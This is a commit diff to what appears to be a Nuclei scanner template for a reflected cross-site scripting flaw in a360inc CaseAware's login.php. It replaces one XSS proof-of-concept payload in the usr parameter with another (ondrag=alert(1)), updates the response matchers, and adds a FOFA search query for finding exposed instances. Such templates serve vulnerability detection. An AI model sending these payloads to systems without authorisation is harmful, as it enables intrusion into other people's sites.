updated payload and matcher

http/cves/2024/CVE-2024-25669.yaml

@@ -1,10 +1,11 @@
 id: CVE-2024-25669
 
 info:
-  name: a360inc CaseAware - Cross-Site Scripting
+  name: CaseAware a360inc - Cross-Site Scripting
   author: r3naissance
   severity: medium
-  description: a360inc CaseAware contains a reflected cross-site scripting vulnerability via the user parameter transmitted in the login.php query string. This is a bypass of the fix reported in CVE-2017->
+  description: |
+    a360inc CaseAware contains a reflected cross-site scripting vulnerability via the user parameter transmitted in the login.php query string. This is a bypass of the fix reported in CVE-2017->
   impact: |
     Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of t>
   remediation: |
@@ -14,28 +15,32 @@ info:
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
-    cve-id: CVE-2017-5631
+    cve-id: CVE-2017-5631   
     cwe-id: CWE-79
     epss-score: 0.00286
     epss-percentile: 0.65504
     cpe: cpe:2.3:a:a360inc:caseaware:-:*:*:*:*:*:*:*
   metadata:
     max-request: 1
+    verified: true
     vendor: a360inc
     product: caseaware
-  tags: cve2024,cve,xss,caseaware,a360inc
+    fofa-query: title="CaseAware"
+  tags: cve,cve2024,xss,caseaware,a360inc
 
 http:
   - method: GET
     path:
-      - "{{BaseURL}}/login.php?mid=0&usr=%27onpointerover%3Dconfirm%28xss%29+class%3Dr3naissance+"
+      - "{{BaseURL}}/login.php?mid=0&usr=test%27%20draggable=true%20ondrag=alert(1)%20value=%27p"
 
     matchers-condition: and
     matchers:
       - type: word
         part: body
         words:
-          - "'onpointerover=confirm(xss)+class=r3naissance+"
+          - "value='test' draggable=true ondrag=alert(1)"
+          - "CaseAware"
+        condition: and
 
       - type: word
         part: header